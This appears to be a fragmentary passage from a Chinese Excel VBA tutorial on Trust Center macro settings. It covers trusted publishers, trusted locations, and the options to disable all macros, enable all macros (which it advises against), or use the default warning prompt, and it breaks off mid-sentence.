50、信任位置中的设置,数字签名(受信任的发布者),受信任位置,将宏文件放置在安全的位置,以此来运行宏代码,查看默认信任位置,添加新位置,对于非受信任位置的宏文件,非受信任位置,大多数的宏文件都是放置在非受信任位置中的,这也是我们大多数初学者经常面临的宏设置操作,禁用所有的宏,禁用所有的宏(一刀切的做法,有益有害的全部不能使用),则含有代码的工作簿将无法使用,编写的代码全都无效,等于没有编写,启用所有的宏,一刀切的做法,有益有害的全部都能使用,则不管是,有益,还是,无益,甚至,有害,的宏代码将全部可以使用,不建议采用此项,最好选择折中方法,折中方法是默认的方法,当打开含有宏代码的工作簿时默认会提出警






